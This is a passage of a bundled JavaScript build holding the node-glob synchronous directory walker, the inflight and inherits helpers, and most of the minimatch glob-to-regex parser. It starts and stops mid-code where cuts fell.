 //if ignored, skip processing\n  if (childrenIgnored(this, read))\n    return\n\n  var isGlobStar = remain[0] === minimatch.GLOBSTAR\n  if (isGlobStar)\n    this._processGlobStar(prefix, read, abs, remain, index, inGlobStar)\n  else\n    this._processReaddir(prefix, read, abs, remain, index, inGlobStar)\n}\n\n\nGlobSync.prototype._processReaddir = function (prefix, read, abs, remain, index, inGlobStar) {\n  var entries = this._readdir(abs, inGlobStar)\n\n  // if the abs isn't a dir, then nothing can match!\n  if (!entries)\n    return\n\n  // It will only match dot entries if it starts with a dot, or if\n  // dot is set.  Stuff like @(.foo|.bar) isn't allowed.\n  var pn = remain[0]\n  var negate = !!this.minimatch.negate\n  var rawGlob = pn._glob\n  var dotOk = this.dot || rawGlob.charAt(0) === '.'\n\n  var matchedEntries = []\n  for (var i = 0; i < entries.length; i++) {\n    var e = entries[i]\n    if (e.charAt(0) !== '.' || dotOk) {\n      var m\n      if (negate && !prefix) {\n        m = !e.match(pn)\n      } else {\n        m = e.match(pn)\n      }\n      if (m)\n        matchedEntries.push(e)\n    }\n  }\n\n  var len = matchedEntries.length\n  // If there are no matched entries, then nothing matches.\n  if (len === 0)\n    return\n\n  // if this is the last remaining pattern bit, then no need for\n  // an additional stat *unless* the user has specified mark or\n  // stat explicitly.  We know they exist, since readdir returned\n  // them.\n\n  if (remain.length === 1 && !this.mark && !this.stat) {\n    if (!this.matches[index])\n      this.matches[index] = Object.create(null)\n\n    for (var i = 0; i < len; i ++) {\n      var e = matchedEntries[i]\n      if (prefix) {\n        if (prefix.slice(-1) !== '/')\n          e = prefix + '/' + e\n        else\n          e = prefix + e\n      }\n\n      if (e.charAt(0) === '/' && !this.nomount) {\n        e = path.join(this.root, e)\n      }\n      this.matches[index][e] = true\n    }\n    // This was the last one, and no stats were needed\n    return\n  }\n\n  // now test all matched entries as stand-ins for that part\n  // of the pattern.\n  remain.shift()\n  for (var i = 0; i < len; i ++) {\n    var e = matchedEntries[i]\n    var newPattern\n    if (prefix)\n      newPattern = [prefix, e]\n    else\n      newPattern = [e]\n    this._process(newPattern.concat(remain), index, inGlobStar)\n  }\n}\n\n\nGlobSync.prototype._emitMatch = function (index, e) {\n  var abs = this._makeAbs(e)\n  if (this.mark)\n    e = this._mark(e)\n\n  if (this.matches[index][e])\n    return\n\n  if (this.nodir) {\n    var c = this.cache[this._makeAbs(e)]\n    if (c === 'DIR' || Array.isArray(c))\n      return\n  }\n\n  this.matches[index][e] = true\n  if (this.stat)\n    this._stat(e)\n}\n\n\nGlobSync.prototype._readdirInGlobStar = function (abs) {\n  // follow all symlinked directories forever\n  // just proceed as if this is a non-globstar situation\n  if (this.follow)\n    return this._readdir(abs, false)\n\n  var entries\n  var lstat\n  var stat\n  try {\n    lstat = fs.lstatSync(abs)\n  } catch (er) {\n    // lstat failed, doesn't exist\n    return null\n  }\n\n  var isSym = lstat.isSymbolicLink()\n  this.symlinks[abs] = isSym\n\n  // If it's not a symlink or a dir, then it's definitely a regular file.\n  // don't bother doing a readdir in that case.\n  if (!isSym && !lstat.isDirectory())\n    this.cache[abs] = 'FILE'\n  else\n    entries = this._readdir(abs, false)\n\n  return entries\n}\n\nGlobSync.prototype._readdir = function (abs, inGlobStar) {\n  var entries\n\n  if (inGlobStar && !ownProp(this.symlinks, abs))\n    return this._readdirInGlobStar(abs)\n\n  if (ownProp(this.cache, abs)) {\n    var c = this.cache[abs]\n    if (!c || c === 'FILE')\n      return null\n\n    if (Array.isArray(c))\n      return c\n  }\n\n  try {\n    return this._readdirEntries(abs, fs.readdirSync(abs))\n  } catch (er) {\n    this._readdirError(abs, er)\n    return null\n  }\n}\n\nGlobSync.prototype._readdirEntries = function (abs, entries) {\n  // if we haven't asked to stat everything, then just\n  // assume that everything in there exists, so we can avoid\n  // having to stat it a second time.\n  if (!this.mark && !this.stat) {\n    for (var i = 0; i < entries.length; i ++) {\n      var e = entries[i]\n      if (abs === '/')\n        e = abs + e\n      else\n        e = abs + '/' + e\n      this.cache[e] = true\n    }\n  }\n\n  this.cache[abs] = entries\n\n  // mark and cache dir-ness\n  return entries\n}\n\nGlobSync.prototype._readdirError = function (f, er) {\n  // handle errors, and cache the information\n  switch (er.code) {\n    case 'ENOTSUP': // https://github.com/isaacs/node-glob/issues/205\n    case 'ENOTDIR': // totally normal. means it *does* exist.\n      this.cache[this._makeAbs(f)] = 'FILE'\n      break\n\n    case 'ENOENT': // not terribly unusual\n    case 'ELOOP':\n    case 'ENAMETOOLONG':\n    case 'UNKNOWN':\n      this.cache[this._makeAbs(f)] = false\n      break\n\n    default: // some unusual error.  Treat as failure.\n      this.cache[this._makeAbs(f)] = false\n      if (this.strict)\n        throw er\n      if (!this.silent)\n        console.error('glob error', er)\n      break\n  }\n}\n\nGlobSync.prototype._processGlobStar = function (prefix, read, abs, remain, index, inGlobStar) {\n\n  var entries = this._readdir(abs, inGlobStar)\n\n  // no entries means not a dir, so it can never have matches\n  // foo.txt/** doesn't match foo.txt\n  if (!entries)\n    return\n\n  // test without the globstar, and with every child both below\n  // and replacing the globstar.\n  var remainWithoutGlobStar = remain.slice(1)\n  var gspref = prefix ? [ prefix ] : []\n  var noGlobStar = gspref.concat(remainWithoutGlobStar)\n\n  // the noGlobStar pattern exits the inGlobStar state\n  this._process(noGlobStar, index, false)\n\n  var len = entries.length\n  var isSym = this.symlinks[abs]\n\n  // If it's a symlink, and we're in a globstar, then stop\n  if (isSym && inGlobStar)\n    return\n\n  for (var i = 0; i < len; i++) {\n    var e = entries[i]\n    if (e.charAt(0) === '.' && !this.dot)\n      continue\n\n    // these two cases enter the inGlobStar state\n    var instead = gspref.concat(entries[i], remainWithoutGlobStar)\n    this._process(instead, index, true)\n\n    var below = gspref.concat(entries[i], remain)\n    this._process(below, index, true)\n  }\n}\n\nGlobSync.prototype._processSimple = function (prefix, index) {\n  // XXX review this.  Shouldn't it be doing the mounting etc\n  // before doing stat?  kinda weird?\n  var exists = this._stat(prefix)\n\n  if (!this.matches[index])\n    this.matches[index] = Object.create(null)\n\n  // If it doesn't exist, then just mark the lack of results\n  if (!exists)\n    return\n\n  if (prefix && isAbsolute(prefix) && !this.nomount) {\n    var trail = /[\\/\\\\]$/.test(prefix)\n    if (prefix.charAt(0) === '/') {\n      prefix = path.join(this.root, prefix)\n    } else {\n      prefix = path.resolve(this.root, prefix)\n      if (trail)\n        prefix += '/'\n    }\n  }\n\n  if (process.platform === 'win32')\n    prefix = prefix.replace(/\\\\/g, '/')\n\n  // Mark this as a match\n  this.matches[index][prefix] = true\n}\n\n// Returns either 'DIR', 'FILE', or false\nGlobSync.prototype._stat = function (f) {\n  var abs = this._makeAbs(f)\n  var needDir = f.slice(-1) === '/'\n\n  if (f.length > this.maxLength)\n    return false\n\n  if (!this.stat && ownProp(this.cache, abs)) {\n    var c = this.cache[abs]\n\n    if (Array.isArray(c))\n      c = 'DIR'\n\n    // It exists, but maybe not how we need it\n    if (!needDir || c === 'DIR')\n      return c\n\n    if (needDir && c === 'FILE')\n      return false\n\n    // otherwise we have to stat, because maybe c=true\n    // if we know it exists, but not what it is.\n  }\n\n  var exists\n  var stat = this.statCache[abs]\n  if (!stat) {\n    var lstat\n    try {\n      lstat = fs.lstatSync(abs)\n    } catch (er) {\n      return false\n    }\n\n    if (lstat.isSymbolicLink()) {\n      try {\n        stat = fs.statSync(abs)\n      } catch (er) {\n        stat = lstat\n      }\n    } else {\n      stat = lstat\n    }\n  }\n\n  this.statCache[abs] = stat\n\n  var c = stat.isDirectory() ? 'DIR' : 'FILE'\n  this.cache[abs] = this.cache[abs] || c\n\n  if (needDir && c !== 'DIR')\n    return false\n\n  return c\n}\n\nGlobSync.prototype._mark = function (p) {\n  return common.mark(this, p)\n}\n\nGlobSync.prototype._makeAbs = function (f) {\n  return common.makeAbs(this, f)\n}\n\n}).call(this,require('_process'))\n},{\"./common.js\":15,\"./glob.js\":16,\"_process\":24,\"assert\":9,\"fs\":12,\"minimatch\":20,\"path\":22,\"path-is-absolute\":23,\"util\":28}],18:[function(require,module,exports){\n(function (process){\nvar wrappy = require('wrappy')\nvar reqs = Object.create(null)\nvar once = require('once')\n\nmodule.exports = wrappy(inflight)\n\nfunction inflight (key, cb) {\n  if (reqs[key]) {\n    reqs[key].push(cb)\n    return null\n  } else {\n    reqs[key] = [cb]\n    return makeres(key)\n  }\n}\n\nfunction makeres (key) {\n  return once(function RES () {\n    var cbs = reqs[key]\n    var len = cbs.length\n    var args = slice(arguments)\n\n    // XXX It's somewhat ambiguous whether a new callback added in this\n    // pass should be queued for later execution if something in the\n    // list of callbacks throws, or if it should just be discarded.\n    // However, it's such an edge case that it hardly matters, and either\n    // choice is likely as surprising as the other.\n    // As it happens, we do go ahead and schedule it for later execution.\n    try {\n      for (var i = 0; i < len; i++) {\n        cbs[i].apply(null, args)\n      }\n    } finally {\n      if (cbs.length > len) {\n        // added more in the interim.\n        // de-zalgo, just in case, but don't call again.\n        cbs.splice(0, len)\n        process.nextTick(function () {\n          RES.apply(null, args)\n        })\n      } else {\n        delete reqs[key]\n      }\n    }\n  })\n}\n\nfunction slice (args) {\n  var length = args.length\n  var array = []\n\n  for (var i = 0; i < length; i++) array[i] = args[i]\n  return array\n}\n\n}).call(this,require('_process'))\n},{\"_process\":24,\"once\":21,\"wrappy\":29}],19:[function(require,module,exports){\nif (typeof Object.create === 'function') {\n  // implementation from standard node.js 'util' module\n  module.exports = function inherits(ctor, superCtor) {\n    ctor.super_ = superCtor\n    ctor.prototype = Object.create(superCtor.prototype, {\n      constructor: {\n        value: ctor,\n        enumerable: false,\n        writable: true,\n        configurable: true\n      }\n    });\n  };\n} else {\n  // old school shim for old browsers\n  module.exports = function inherits(ctor, superCtor) {\n    ctor.super_ = superCtor\n    var TempCtor = function () {}\n    TempCtor.prototype = superCtor.prototype\n    ctor.prototype = new TempCtor()\n    ctor.prototype.constructor = ctor\n  }\n}\n\n},{}],20:[function(require,module,exports){\nmodule.exports = minimatch\nminimatch.Minimatch = Minimatch\n\nvar path = { sep: '/' }\ntry {\n  path = require('path')\n} catch (er) {}\n\nvar GLOBSTAR = minimatch.GLOBSTAR = Minimatch.GLOBSTAR = {}\nvar expand = require('brace-expansion')\n\nvar plTypes = {\n  '!': { open: '(?:(?!(?:', close: '))[^/]*?)'},\n  '?': { open: '(?:', close: ')?' },\n  '+': { open: '(?:', close: ')+' },\n  '*': { open: '(?:', close: ')*' },\n  '@': { open: '(?:', close: ')' }\n}\n\n// any single thing other than /\n// don't need to escape / when using new RegExp()\nvar qmark = '[^/]'\n\n// * => any number of characters\nvar star = qmark + '*?'\n\n// ** when dots are allowed.  Anything goes, except .. and .\n// not (^ or / followed by one or two dots followed by $ or /),\n// followed by anything, any number of times.\nvar twoStarDot = '(?:(?!(?:\\\\\\/|^)(?:\\\\.{1,2})($|\\\\\\/)).)*?'\n\n// not a ^ or / followed by a dot,\n// followed by anything, any number of times.\nvar twoStarNoDot = '(?:(?!(?:\\\\\\/|^)\\\\.).)*?'\n\n// characters that need to be escaped in RegExp.\nvar reSpecials = charSet('().*{}+?[]^$\\\\!')\n\n// \"abc\" -> { a:true, b:true, c:true }\nfunction charSet (s) {\n  return s.split('').reduce(function (set, c) {\n    set[c] = true\n    return set\n  }, {})\n}\n\n// normalizes slashes.\nvar slashSplit = /\\/+/\n\nminimatch.filter = filter\nfunction filter (pattern, options) {\n  options = options || {}\n  return function (p, i, list) {\n    return minimatch(p, pattern, options)\n  }\n}\n\nfunction ext (a, b) {\n  a = a || {}\n  b = b || {}\n  var t = {}\n  Object.keys(b).forEach(function (k) {\n    t[k] = b[k]\n  })\n  Object.keys(a).forEach(function (k) {\n    t[k] = a[k]\n  })\n  return t\n}\n\nminimatch.defaults = function (def) {\n  if (!def || !Object.keys(def).length) return minimatch\n\n  var orig = minimatch\n\n  var m = function minimatch (p, pattern, options) {\n    return orig.minimatch(p, pattern, ext(def, options))\n  }\n\n  m.Minimatch = function Minimatch (pattern, options) {\n    return new orig.Minimatch(pattern, ext(def, options))\n  }\n\n  return m\n}\n\nMinimatch.defaults = function (def) {\n  if (!def || !Object.keys(def).length) return Minimatch\n  return minimatch.defaults(def).Minimatch\n}\n\nfunction minimatch (p, pattern, options) {\n  if (typeof pattern !== 'string') {\n    throw new TypeError('glob pattern string required')\n  }\n\n  if (!options) options = {}\n\n  // shortcut: comments match nothing.\n  if (!options.nocomment && pattern.charAt(0) === '#') {\n    return false\n  }\n\n  // \"\" only matches \"\"\n  if (pattern.trim() === '') return p === ''\n\n  return new Minimatch(pattern, options).match(p)\n}\n\nfunction Minimatch (pattern, options) {\n  if (!(this instanceof Minimatch)) {\n    return new Minimatch(pattern, options)\n  }\n\n  if (typeof pattern !== 'string') {\n    throw new TypeError('glob pattern string required')\n  }\n\n  if (!options) options = {}\n  pattern = pattern.trim()\n\n  // windows support: need to use /, not \\\n  if (path.sep !== '/') {\n    pattern = pattern.split(path.sep).join('/')\n  }\n\n  this.options = options\n  this.set = []\n  this.pattern = pattern\n  this.regexp = null\n  this.negate = false\n  this.comment = false\n  this.empty = false\n\n  // make the set of regexps etc.\n  this.make()\n}\n\nMinimatch.prototype.debug = function () {}\n\nMinimatch.prototype.make = make\nfunction make () {\n  // don't do it more than once.\n  if (this._made) return\n\n  var pattern = this.pattern\n  var options = this.options\n\n  // empty patterns and comments match nothing.\n  if (!options.nocomment && pattern.charAt(0) === '#') {\n    this.comment = true\n    return\n  }\n  if (!pattern) {\n    this.empty = true\n    return\n  }\n\n  // step 1: figure out negation, etc.\n  this.parseNegate()\n\n  // step 2: expand braces\n  var set = this.globSet = this.braceExpand()\n\n  if (options.debug) this.debug = console.error\n\n  this.debug(this.pattern, set)\n\n  // step 3: now we have a set, so turn each one into a series of path-portion\n  // matching patterns.\n  // These will be regexps, except in the case of \"**\", which is\n  // set to the GLOBSTAR object for globstar behavior,\n  // and will not contain any / characters\n  set = this.globParts = set.map(function (s) {\n    return s.split(slashSplit)\n  })\n\n  this.debug(this.pattern, set)\n\n  // glob --> regexps\n  set = set.map(function (s, si, set) {\n    return s.map(this.parse, this)\n  }, this)\n\n  this.debug(this.pattern, set)\n\n  // filter out everything that didn't compile properly.\n  set = set.filter(function (s) {\n    return s.indexOf(false) === -1\n  })\n\n  this.debug(this.pattern, set)\n\n  this.set = set\n}\n\nMinimatch.prototype.parseNegate = parseNegate\nfunction parseNegate () {\n  var pattern = this.pattern\n  var negate = false\n  var options = this.options\n  var negateOffset = 0\n\n  if (options.nonegate) return\n\n  for (var i = 0, l = pattern.length\n    ; i < l && pattern.charAt(i) === '!'\n    ; i++) {\n    negate = !negate\n    negateOffset++\n  }\n\n  if (negateOffset) this.pattern = pattern.substr(negateOffset)\n  this.negate = negate\n}\n\n// Brace expansion:\n// a{b,c}d -> abd acd\n// a{b,}c -> abc ac\n// a{0..3}d -> a0d a1d a2d a3d\n// a{b,c{d,e}f}g -> abg acdfg acefg\n// a{b,c}d{e,f}g -> abdeg acdeg abdeg abdfg\n//\n// Invalid sets are not expanded.\n// a{2..}b -> a{2..}b\n// a{b}c -> a{b}c\nminimatch.braceExpand = function (pattern, options) {\n  return braceExpand(pattern, options)\n}\n\nMinimatch.prototype.braceExpand = braceExpand\n\nfunction braceExpand (pattern, options) {\n  if (!options) {\n    if (this instanceof Minimatch) {\n      options = this.options\n    } else {\n      options = {}\n    }\n  }\n\n  pattern = typeof pattern === 'undefined'\n    ? this.pattern : pattern\n\n  if (typeof pattern === 'undefined') {\n    throw new TypeError('undefined pattern')\n  }\n\n  if (options.nobrace ||\n    !pattern.match(/\\{.*\\}/)) {\n    // shortcut. no need to expand.\n    return [pattern]\n  }\n\n  return expand(pattern)\n}\n\n// parse a component of the expanded set.\n// At this point, no pattern may contain \"/\" in it\n// so we're going to return a 2d array, where each entry is the full\n// pattern, split on '/', and then turned into a regular expression.\n// A regexp is made at the end which joins each array with an\n// escaped /, and another full one which joins each regexp with |.\n//\n// Following the lead of Bash 4.1, note that \"**\" only has special meaning\n// when it is the *only* thing in a path portion.  Otherwise, any series\n// of * is equivalent to a single *.  Globstar behavior is enabled by\n// default, and can be disabled by setting options.noglobstar.\nMinimatch.prototype.parse = parse\nvar SUBPARSE = {}\nfunction parse (pattern, isSub) {\n  if (pattern.length > 1024 * 64) {\n    throw new TypeError('pattern is too long')\n  }\n\n  var options = this.options\n\n  // shortcuts\n  if (!options.noglobstar && pattern === '**') return GLOBSTAR\n  if (pattern === '') return ''\n\n  var re = ''\n  var hasMagic = !!options.nocase\n  var escaping = false\n  // ? => one single character\n  var patternListStack = []\n  var negativeLists = []\n  var stateChar\n  var inClass = false\n  var reClassStart = -1\n  var classStart = -1\n  // . and .. never match anything that doesn't start with .,\n  // even when options.dot is set.\n  var patternStart = pattern.charAt(0) === '.' ? '' // anything\n  // not (start or / followed by . or .. followed by / or end)\n  : options.dot ? '(?!(?:^|\\\\\\/)\\\\.{1,2}(?:$|\\\\\\/))'\n  : '(?!\\\\.)'\n  var self = this\n\n  function clearStateChar () {\n    if (stateChar) {\n      // we had some state-tracking character\n      // that wasn't consumed by this pass.\n      switch (stateChar) {\n        case '*':\n          re += star\n          hasMagic = true\n        break\n        case '?':\n          re += qmark\n          hasMagic = true\n        break\n        default:\n          re += '\\\\' + stateChar\n        break\n      }\n      self.debug('clearStateChar %j %j', stateChar, re)\n      stateChar = false\n    }\n  }\n\n  for (var i = 0, len = pattern.length, c\n    ; (i < len) && (c = pattern.charAt(i))\n    ; i++) {\n    this.debug('%s\\t%s %s %j', pattern, i, re, c)\n\n    // skip over any that are escaped.\n    if (escaping && reSpecials[c]) {\n      re += '\\\\' + c\n      escaping = false\n      continue\n    }\n\n    switch (c) {\n      case '/':\n        // completely not allowed, even escaped.\n        // Should already be path-split by now.\n        return false\n\n      case '\\\\':\n        clearStateChar()\n        escaping = true\n      continue\n\n      // the various stateChar values\n      // for the \"extglob\" stuff.\n      case '?':\n      case '*':\n      case '+':\n      case '@':\n      case '!':\n        this.debug('%s\\t%s %s %j <-- stateChar', pattern, i, re, c)\n\n        // all of those are literals inside a class, except that\n        // the glob [!a] means [^a] in regexp\n        if (inClass) {\n          this.debug('  in class')\n          if (c === '!' && i === classStart + 1) c = '^'\n          re += c\n          continue\n        }\n\n        // if we already have a stateChar, then it means\n        // that there was something like ** or +? in there.\n        // Handle the stateChar, then proceed with this one.\n        self.debug('call clearStateChar %j', stateChar)\n        clearStateChar()\n        stateChar = c\n        // if extglob is disabled, then +(asdf|foo) isn't a thing.\n        // just clear the statechar *now*, rather than even diving into\n        // the patternList stuff.\n        if (options.noext) clearStateChar()\n      continue\n\n      case '(':\n        if (inClass) {\n          re += '('\n          continue\n        }\n\n        if (!stateChar) {\n          re += '\\\\('\n          continue\n        }\n\n        patternListStack.push({\n          type: stateChar,\n          start: i - 1,\n          reStart: re.length,\n          open: plTypes[stateChar].open,\n          close: plTypes[stateChar].close\n        })\n        // negation is (?:(?!js)[^/]*)\n        re += stateChar === '!' ? '(?:(?!(?:' : '(?:'\n        this.debug('plType %j %j', stateChar, re)\n        stateChar = false\n      continue\n\n      case ')':\n        if (inClass || !patternListStack.length) {\n          re += '\\\\)'\n          continue\n        }\n\n        clearStateChar()\n        hasMagic = true\n        var pl = patternListStack.pop()\n        // negation is (?:(?!js)[^/]*)\n        // The others are (?:<pattern>)<type>\n        re += pl.close\n        if (pl.type === '!') {\n          negativeLists.push(pl)\n        }\n        pl.reEnd = re.length\n      continue\n\n      case '|':\n        if (inClass || !patternListStack.length || escaping) {\n          re += '\\\\|'\n          escaping = false\n          continue\n        }\n\n        clearStateChar()\n        re += '|'\n      continue\n\n      // these are mostly the same in regexp and glob\n      case '[':\n        // swallow any state-tracking char before the [\n        clearStateChar()\n\n        if (inClass) {\n          re += '\\\\' + c\n          continue\n        }\n\n        inClass = true\n        classStart = i\n        reClassStart = re.length\n        re += c\n      continue\n\n      case ']':\n        //  a right bracket shall lose its special\n        //  meaning and represent itself in\n        //  a bracket expression if it occurs\n        //  first in the list.  -- POSIX.2 2.8.3.2\n        if (i === classStart + 1 || !inClass) {\n          re += '\\\\' + c\n          escaping = false\n          continue\n        }\n\n        // handle the case where we left a class open.\n        // \"[z-a]\" is valid, equivalent to \"\\[z-a\\]\"\n        if (inClass) {\n          // split where the last [ was, make sure we don't have\n          // an invalid re. if so, re-walk the contents of the\n          // would-be class to re-translate any characters that\n          // were passed through as-is\n          // TODO: It would probably be faster to determine this\n          // without a try/catch and a new RegExp, but it's tricky\n          // to do safely.  For now, this is safe and works.\n          var cs = pattern.substring(classStart + 1, i)\n          try {\n            RegExp('[' + cs + ']')\n          } catch (er) {\n            // not a valid class!\n            var sp = this.parse(cs, SUBPARSE)\n            re = re.substr(0, reClassStart) + '\\\\[' + sp[0] + '\\\\]'\n            hasMagic = hasMagic || sp[1]\n            inClass = false\n            continue\n          }\n        }\n\n        // finish up the class.\n        hasMagic = true\n        inClass = false\n        re += c\n      continue\n\n      default:\n        // swallow any state char that wasn't consumed\n        clearStateChar()\n\n        if (escaping) {\n          // no need\n          escaping = false\n        } else if (reSpecials[c]\n          && !(c === '^' && inClass)) {\n          re += '\\\\'\n        }\n\n        re += c\n\n    } // switch\n  } // for\n\n  // handle the case where we left a class open.\n  // \"[abc\" is valid, equivalent to \"\\[abc\"\n  if (inClass) {\n    // split where the last [ was, and escape it\n    // this is a huge pita.  We now have to re-walk\n    // the contents of the would-be class to re-translate\n    // any characters that were passed through as-is\n    cs = pattern.substr(classStart + 1)\n    sp = this.parse(cs, SUBPARSE)\n    re = re.substr(0, reClassStart) + '\\\\[' + sp[0]\n    hasMagic = hasMagic || sp[1]\n  }\n\n  // handle the case where we had a +( thing at the *end*\n  // of the pattern.\n  // each pattern list stack adds 3 chars, and we need to go through\n  // and escape any | chars that were passed through as-is for the regexp.\n  // Go through and escape them, taking care not to double-escape any\n  // | chars that were already escaped.\n  for (pl = patternListStack.pop(); pl; pl = patternListStack.pop()) {\n    var tail = re.slice(pl.reStart + pl.open.length)\n    this.debug('setting tail', re, pl)\n    // maybe some even number of \\, then maybe 1 \\, followed by a |\n    tail = tail.replace(/((?:\\\\{2}){0,64})(\\\\?)\\|/g, function (_, $1, $2) {\n      if (!$2) {\n        // the | isn't already escaped, so escape it.\n        $2 = '\\\\'\n      }\n\n      // need to escape all those slashes *again*, without escaping the\n      // one that we need for escaping the | character.  As it works out,\n      // escaping an even number of slashes can be done by simply repeating\n      // it exactly after itself.  That's why this trick works.\n      //\n      // I am sorry that you have to see this.\n      return $1 + $1 + $2 + '|'\n    })\n\n    this.debug('tail=%j\\n   %s', tail, tail, pl, re)\n    var t = pl.type === '*' ? star\n      : pl.type === '?' ? qmark\n      : '\\\\' + pl.type\n\n    hasMagic = true\n    re = re.slice(0, pl.reStart) + t + '\\\\(' + tail\n  }\n\n  // handle trailing things that only matter at the very end.\n  clearStateChar()\n  if (escaping) {\n    // trailing \\\\\n    re += '\\\\\\\\'\n  }\n\n  // only need to apply the nodot start if the re starts with\n  // something that could conceivably capture a dot\n  var addPatternStart = false\n  switch (re.charAt(0)) {\n    case '.':\n    case '[':\n    case '(': addPatternStart = true\n  }\n\n  // Hack to work around lack of negative lookbehind in JS\n  // A pattern like: *.!(x).!(y|z) needs to ensure that a name\n  // like 'a.xyz.yz' doesn't match.  So, the first negative\n  // lookahead, has to look ALL the way ahead, to the end of\n  // the pattern.\n  for (var n = negativeLists.length - 1; n > -1; n--) {\n    var nl = negativeLists[n]\n\n    var nlBefore = re.slice(0, nl.reStart)\n    var nlFirst = re.slice(nl.reStart, nl.reEnd - 8)\n    var nlLast = re.slice(nl.reEnd - 8, nl.reEnd)\n    var nlAfter = re.slice(nl.reEnd)\n\n    nlLast += nlAfter\n\n    // Handle nested stuff like *(*.js|!(*.json)), where open parens\n    // mean that we should *not* include the ) in the bit that is considered\n    // \"after\" the negated section.\n    var openParensBefore = nlBefore.split('(').length - 1\n    var cleanAfter = nlAfter\n    for (i = 0; i < openParensBefore; i++) {\n      cleanAfter = cleanAfter.replace(/\\)[+*?]?/, '')\n    }\n    nlAfter = cleanAfter\n\n    var dollar = ''\n    if (nlAfter === '' && isSub !== SUBPARSE) {\n      dollar = '$'\n    }\n    var newRe = nlBefore + nlFirst + nlAfter + dollar + nlLast\n    re = newRe\n  }\n\n  // if the re is not \"\" at this point, then we need to make sure\n  // it doesn't match against an empty path part.\n  // Otherwise a/* will match a/, which it should not.\n  if (re !== '' && hasMagic) {\n    re = '(?=.)' + re\n  }\n\n  if (addPatternStart) {\n    re = patternStart + re\n  }\n\n  // parsing just a piece of a larger pattern.\n  if (isSub === SUBPARSE) {\n    return [re, hasMagic]\n  }\n\n  // skip the regexp for non-magical patterns\n  // unescape anything in it, though, so that it'll be\n  // an exact match against a file etc.\n  if (!hasMagic) {\n    return globUnescape(pattern)\n  }\n\n  var flags = options.nocase ? 'i' : ''\n  try {\n    var regExp = new RegExp('^' + re + '$', flags)\n  } catch (er) {\n    // If it was an invalid regular expression, then it can't match\n    // anything.  This trick looks for a character after the end of\n    // the string, which is of course impossible, except in multi-line\n    // mode, but it's not a /m regex.\n    return new RegExp('$.')\n  }\n\n  regExp._glob = pattern\n  regExp._src = re\n\n  return regExp\n}\n\nminimatch.makeRe = function (pattern, options) {\n  return new Minimatch(pattern, options || {}).makeRe()\n}\n\nMinimatch.prototype.makeRe = makeRe\nfunction makeRe () {\n  if (this.regexp || this.regexp === false) return this.regexp\n\n  // at this point, this.set is a 2d array of partial\n  // pattern strings, or \"**\".\n  //\n  // It's better to use .match().  This function shouldn't\n  // be used, really, but it's pretty convenient sometimes,\n  // when you just want to work with a regex.\n  var set = this.set\n\n  if (!set.length) {\n    this.regexp = false\n    return this.regexp\n  }\n  var options = this.options\n\n  var twoStar = options.noglobstar ? star\n    : options.dot ? twoStarDot\n    : twoStarNoDot\n  var flags = options.nocase ? 'i' : ''\n\n  var re = set.map(function (pattern) {\n    return pattern.map(function (p) {\n      return (p === GLOBSTAR) ? twoStar\n      : (typeof p === 'string') ? regExpEscape(p)\n      : p._src\n    }).join('\\\\\\/')\n  }).join('|')\n\n  // must match entire pattern\n  // ending in a * or ** will make it less strict.\n  re = '^(?:' + re + ')$'\n\n  // can match anything, as long as it's not this.\n  if (this.negate) re = '^(?!' + re + ').*$'\n\n  try {\n    this.regexp = new RegExp(re, flags)\n  } catch (ex) {\n    this.regexp = false\n  }\n  return this.regexp\n}\n\nminimatch.match = function (list, pattern, options) {\n  options = options || {}\n  var mm = new Minimatch(pattern, options)\n  list = list.filter(function (f) {\n    return mm.match(f)\n  })\n  if (mm.options.nonull && !list.length) {\n    list.push(pattern)\n  }\n  return list\n}\n\nMinimatch.prototype.match = match\nfunction match (f, partial) {\n  this.debug('match', f, this.pattern)\n  // short-circuit in the case of busted things.\n  // comments, etc.\n  if (this.comment) return false\n  if (this.empty) return f === ''\n\n  if (f === '/' && partial) return true\n\n  var options = this.options\n\n  // windows: need to use /, not \\\n  if (path.sep !== '/') {\n    f = f.split(path.sep).join('/')\n  }\n\n  // treat the test path as a set of pathparts.\n  f = f.split(slashSplit)\n  this.debug(this.pattern, 'split', f)\n\n  // just ONE of the pattern sets in this.set needs to match\n  // in order for it to be valid.  If negating, then just one\n  // match means that we have failed.\n  // Either way, return on the first hit.\n\n  var set = this.set\n  this.debug(this.pattern, 'set', set)\n\n  // Find the basename of the path by looking for the last non-empty segment\n  var filename\n  var i\n  for (i = f.length - 1; i >= 0; i--) {\n    filename = f[i]\n    if (filename) break\n  }\n\n  for (i = 0; i < set.length; i++) {\n    var pattern = set[i]\n    var file = f\n    if (options.matchBase && pattern.length === 1) {\n      file = [filename]\n    }\n    var hit = this.matchOne(file, pattern, partial)\n    if (hit) {\n      if (options.flipNegate) return true\n      return !this.negate\n    }\n  }\n\n  // didn't get any hits.  this is success if it's a negative\n  // pattern, failure otherwise.\n  if (options.flipNegate) return false\n  return this.negate\n}\n\n// set partial to true to test if, for example,\n// \"/a/b\" matches the start of \"/*/b/*/d\"\n// Partial means, if you run out of file before you run\n// out of pattern, then that's fine, as long as all\n// the parts match.\nMinimatch.prototype.matchOne = function (file, pattern, partial) {\n  var options = this.options\n\n  this.debug('matchOne',\n    { 'this': this, file: file, pattern: pattern })\n\n  this.debug('matchOne', file.length, pattern.length)\n\n  for (var fi = 0,\n      pi = 0,\n      fl = file.length,\n      pl = pattern.length\n      ; (fi < fl) && (pi < pl)\n      ; fi++, pi++) {\n    this.debug('matchOne loop')\n    var p = pattern[pi]\n    var f = file[fi]\n\n    this.debug(pattern, p, f)\n\n    // should be impossible.\n    // some invalid regexp stuff in the set.\n    if (p === false) return false\n\n    if (p === GLOBSTAR) {\n      this.debug('GLOBSTAR', [pattern, p, f])\n\n      // \"**\"\n      // a/**/b/**/c would match the following:\n      // a/b/x/y/z/c\n      // a/x/y/z/b/c\n      // a/b/x/b/x/c\n      // a/b/c\n      // To do this, take the rest of the pattern after\n      // the **, and see if it would match the file remainder.\n      // If so, return success.\n      // If not, the ** \"swallows\" a segment, and try again.\n      // This is recursively awful.\n      //\n      // a/**/b/**/c matching a/b/x/y/z/c\n      // - a matches a\n      // - doublestar\n      //   - matchOne(b/x/y/z/c, b/**/c)\n      //     - b matches b\n      //     - doublestar\n      //       - matchOne(x/y/z/c, c) -> no\n      //       - matchOne(y/z/c, c) -> no\n      //       - matchOne(z/c, c) -> no\n      //       - matchOne(c, c) yes, hit\n      var fr = fi\n      var pr = pi + 1\n      if (pr === pl) {\n        this.debug('** at the end')\n        // a ** at the end will just swallow the rest.\n        // We have found a match.\n        // however, it will not swallow /.x, unless\n        // options.dot is set.\n        // . and .. are *never* matched by **, for explosively\n        // exponential reasons.\n        for (; fi < 